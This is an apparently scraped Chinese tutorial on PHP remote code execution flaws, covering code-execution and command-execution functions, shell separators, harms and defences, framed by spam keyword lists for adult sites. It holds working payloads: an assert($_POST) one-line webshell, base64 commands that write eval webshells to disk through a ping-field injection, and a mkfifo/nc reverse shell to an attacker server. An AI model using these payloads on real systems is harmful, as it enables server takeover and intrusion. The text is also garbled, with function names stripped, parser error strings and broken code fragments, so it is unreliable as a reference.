中文字幕第五页-中文字幕第页-中文字幕韩国-中文字幕最新-国产尤物二区三区在线观看-国产尤物福利视频一区二区

pHp中RCE漏洞1.原理產(chǎn)生原因及解決辦法(圖)

2023-11-08    分類: 網(wǎng)站建設(shè)

RCE漏洞

1.原理

原因:

應(yīng)用程序沒有嚴(yán)格檢查和過濾用戶輸入,導(dǎo)致用戶輸入的參數(shù)作為命令執(zhí)行。一般分為代碼執(zhí)行和命令執(zhí)行。

漏洞點(diǎn):

1. 代碼中有命令執(zhí)行功能,可以控制輸入?yún)?shù)

2. 代碼中有代碼執(zhí)行功能,可以控制輸入?yún)?shù)

3.網(wǎng)站存在歷史漏洞(網(wǎng)站本身,各種組件)

2.使用2.1.代碼執(zhí)行

概述:

由于業(yè)務(wù)需求php代碼執(zhí)行漏洞,有時(shí)需要調(diào)用一些函數(shù)來執(zhí)行pHp中的命令php代碼執(zhí)行漏洞,如:eval()、()、()、()等,如果有函數(shù)使用這些函數(shù),不檢查并過濾出用戶可以控制的參數(shù),那么這個(gè)頁面就可能存在遠(yuǎn)程代碼執(zhí)行漏洞。小于php7的拼接后依然可以執(zhí)行,但是eval不行。

2.1.1.eval 函數(shù)

eval($code) 將字符串代碼作為 pHp 代碼執(zhí)行

 

注意:傳入eval()函數(shù)的參數(shù)必須是pHp代碼,即必須以分號結(jié)尾;

函數(shù) eval() 語言結(jié)構(gòu)非常危險(xiǎn),因?yàn)樗试S執(zhí)行任意 pHp 代碼。

不允許任何用戶提供的未經(jīng)完全驗(yàn)證的數(shù)據(jù)。

2.1.2.功能

($[, $])

檢查斷言是否為真。如果是字符串,則作為 pHp 代碼通過 () 執(zhí)行。


注意:()函數(shù)將傳入的參數(shù)作為pHp代碼直接執(zhí)行,不需要以分號結(jié)尾。

2.1.3.功能

($, $, $ [, int:'EOF', got'&' at 19: ...it = -1 [, int &? ]])

執(zhí)行正則表達(dá)式搜索和替換,搜索要替換的匹配部分。

 

('規(guī)則規(guī)則','替換字符','目標(biāo)字符')

pCRE修飾符e:()執(zhí)行替換字符串的反向引用替換后,將替換字符串作為php代碼(eval函數(shù)方法)求值執(zhí)行,執(zhí)行結(jié)果作為實(shí)際參與替換的字符串。

2.1.4.功能

($, $ [, $…])

():返回?cái)?shù)組,即對每個(gè)元素應(yīng)用函數(shù)后的數(shù)組。函數(shù)參數(shù)的個(gè)數(shù)和傳遞給()的數(shù)組個(gè)數(shù)必須相同。對數(shù)組的每個(gè)元素應(yīng)用回調(diào)函數(shù)


2.1.5.功能

($args, $code)

從傳遞的參數(shù)創(chuàng)建一個(gè)匿名函數(shù)并為其返回一個(gè)唯一的名稱。通常這些參數(shù)將作為單引號字符串傳遞。使用單引號的原因是為了保護(hù)變量名不被解析。否則,如果使用雙引號,則需要對變量名進(jìn)行轉(zhuǎn)義,例如$avar。函數(shù)默認(rèn)為 eval


2.1.6.功能

($[, $[, $…]])

第一個(gè)參數(shù)是要調(diào)用的回調(diào)函數(shù),其余參數(shù)是回調(diào)函數(shù)的參數(shù)。調(diào)用第一個(gè)參數(shù)作為回調(diào)函數(shù)


2.1.7.功能

($, $):

調(diào)用第一個(gè)參數(shù)作為回調(diào)函數(shù)(),傳入?yún)?shù)數(shù)組作為()作為回調(diào)函數(shù)的參數(shù)。


2.1.8.功能

($[, $[, int $flag = 0 ]])

使用回調(diào)函數(shù)過濾數(shù)組中的元素;依次將數(shù)組中的每個(gè)值傳遞給函數(shù)。


2.1.9.雙引號


在php中,如果有雙引號中的變量,php解釋器會用變量解釋的結(jié)果來代替。單引號中的變量不會被處理,雙引號中的函數(shù)不會被執(zhí)行或替換。

作為字符串執(zhí)行:

echo "phpinfo()"; 

作為代碼執(zhí)行:

echo "{${phpinfo()}}"; 

執(zhí)行一句話木馬:

echo "${@assert($_pOST[a])}"; 

通過post數(shù)據(jù)將木馬寫入服務(wù)器

echo -n 'pD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+' | base64 -d > 111.php

2.2.命令執(zhí)行

概述:

一般出現(xiàn)這種漏洞是因?yàn)閼?yīng)用系統(tǒng)需要為用戶提供指定的遠(yuǎn)程命令操作接口。例如,在我們常見的路由器、防火墻、入侵檢測設(shè)備等的web管理界面上,一般都會給用戶提供一個(gè)ping操作的web界面,用戶從web界面輸入目標(biāo)Ip。提交后,后臺會對Ip地址進(jìn)行ping測試并返回測試結(jié)果。但是,如果設(shè)計(jì)者在完成該功能時(shí)沒有實(shí)施嚴(yán)格的安全控制,可能會導(dǎo)致攻擊者通過該接口提交惡意命令在后臺執(zhí)行,從而獲取后臺服務(wù)器的權(quán)限。

使用pHp的系統(tǒng)命令執(zhí)行功能調(diào)用系統(tǒng)命令并執(zhí)行。此類函數(shù)包括()、exec()、()、()、()、()、()等,除了反引號命令執(zhí)行外,這種方式其實(shí)就是調(diào)用()函數(shù)來執(zhí)行。

system():執(zhí)行外部程序,并且顯示輸出; 
exec():執(zhí)行一個(gè)外部程序 
shell_exec():通過 shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回。 
passthru():執(zhí)行unix系統(tǒng)命令并且顯示原始輸出 
pcntl_exec():在當(dāng)前進(jìn)程空間執(zhí)行指定程序 
popen():打開進(jìn)程文件指針 
proc_open():執(zhí)行一個(gè)命令,并且打開用來輸入/輸出的文件指針。

2.2.1.exec 函數(shù)

exec (:'EOF', got'&' at 18:... [, &? [, int &$ ]])

執(zhí)行外部程序,exec()執(zhí)行參數(shù)指定的命令。


exec 在執(zhí)行系統(tǒng)外部命令時(shí)不輸出結(jié)果,而是返回結(jié)果的最后一行。

如果要獲取結(jié)果,可以使用第二個(gè)參數(shù)將其輸出到指定的數(shù)組。此數(shù)組中的一條記錄代表一行輸出。

2.2.2.功能

(:'EOF', got'&' at 16: [, int &?])

該函數(shù)執(zhí)行參數(shù)指定的命令并輸出執(zhí)行結(jié)果。

與exec不同的是,在執(zhí)行系統(tǒng)外部命令時(shí),結(jié)果直接輸出到瀏覽器,如果命令執(zhí)行成功則返回true,否則返回。


2.2.3.功能

(:'EOF', got'&' at 16: [, int &?])

執(zhí)行外部程序并顯示原始輸出,類似于exec()函數(shù),()函數(shù)也用于執(zhí)行外部命令()。當(dāng)執(zhí)行的Unix命令輸出二進(jìn)制數(shù)據(jù),需要直接傳輸?shù)綖g覽器時(shí),需要用這個(gè)函數(shù)來代替exec()或()函數(shù)。

區(qū)別在于:直接將結(jié)果輸出到瀏覽器,不返回任何值,可以輸出二進(jìn)制,比如圖片數(shù)據(jù)。第二個(gè)參數(shù)是可選的,是狀態(tài)碼。

";
echo $b;
?>

命令執(zhí)行成功返回0,執(zhí)行不成功返回1

2.2.4.功能

($cmd)

通過環(huán)境執(zhí)行命令并以字符串形式返回完整的輸出。

此函數(shù)與執(zhí)行運(yùn)算符 (`) 相同

$output

"; echo `$cmd`; ?>

輸出是一樣的。

2.2.5. 命令執(zhí)行常用特殊字符

cmd1|cmd2:無論cmd1是否執(zhí)行成功,都會執(zhí)行cmd2

cmd1; cmd2:無論cmd1是否執(zhí)行成功,都會執(zhí)行cmd2

cmd1||cmd2:只有在cmd1執(zhí)行失敗時(shí)才執(zhí)行cmd2

cmd1&&cmd2:cmd1執(zhí)行成功后才執(zhí)行

2.2.6.

寫:

127.0.0.1|echo "" > ./sys/1.php      雙引號會解析變量導(dǎo)致一句話木馬缺失,可以使用\轉(zhuǎn)義變量進(jìn)行寫入 也可以使用單引號閉合
127.0.0.1|echo ""> ./sys/3.php 
127.0.0.1|echo "pD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/pg==" | base64 -d > ./sys/2.php 

nc反彈:

127.0.0.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc 服務(wù)器ip 4444 > /tmp/pipe
nc lvvp 4444

3.傷害

1. 繼承Web服務(wù)程序執(zhí)行系統(tǒng)命令或讀寫文件的權(quán)限

2. 反彈并獲得目標(biāo)服務(wù)器的訪問權(quán)限

3. 進(jìn)一步滲透內(nèi)網(wǎng)

4.防御

1.盡量不要執(zhí)行外部命令。

2.使用自定義函數(shù)或函數(shù)庫替換外部命令的函數(shù)。

3.使用 ||arg 函數(shù)處理命令參數(shù)。

4.使用指定的可執(zhí)行文件的路徑(指定路徑的時(shí)候可以提前把要使用的命令放到這個(gè)路徑中)。

當(dāng)前文章:pHp中RCE漏洞1.原理產(chǎn)生原因及解決辦法(圖)
文章路徑:http://m.2m8n56k.cn/news35/293135.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站內(nèi)鏈網(wǎng)站營銷網(wǎng)站策劃App開發(fā)Google小程序開發(fā)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:[email protected]。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

主站蜘蛛池模板: 国产免费成人在线视频 | 亚洲片在线观看 | 国内自拍视频在线播放 | 国产东北色老头老太性视频 | 国产香港特级一级毛片 | 午夜美女久久久久爽久久 | 99久久精品久久久 | 亚洲黄色三级视频 | 日本黄页网站在线观看 | 中文字幕一区在线观看 | 成人久久伊人精品伊人 | 色拍自拍亚洲综合在线 | 国产精品日韩欧美一区二区 | 国产理论最新国产精品视频 | 91青青国产在线观看免费 | 成年人视频在线免费播放 | 欧美成人做性视频在线播放 | 日本三级香港三级人妇 m | 99久久精品免费观看国产 | 亚洲欧美日本综合一区二区三区 | 成年人视频网站免费 | 99re久久资源最新地址 | 欧美久久久久欧美一区 | 亚洲国产tv | 美女被爆免费视频软件 | 中文字幕一区二区三区久久网站 | 亚洲精品精品一区 | 成人欧美视频在线看免费 | 日韩欧美一及在线播放 | 欧美一级毛片高清毛片 | 中文字幕福利 | 亚洲成人综合网站 | 亚洲精品综合一区二区 | 国产成人精品日本亚洲语音1 | 国产精品香蕉一区二区三区 | 亚洲人成网站观看在线播放 | 日本一区深夜影院深a | 成年女人午夜免费视频 | 九九视频在线 | 国产精品亚洲欧美日韩久久 | 欧美精品亚洲一区二区在线播放 |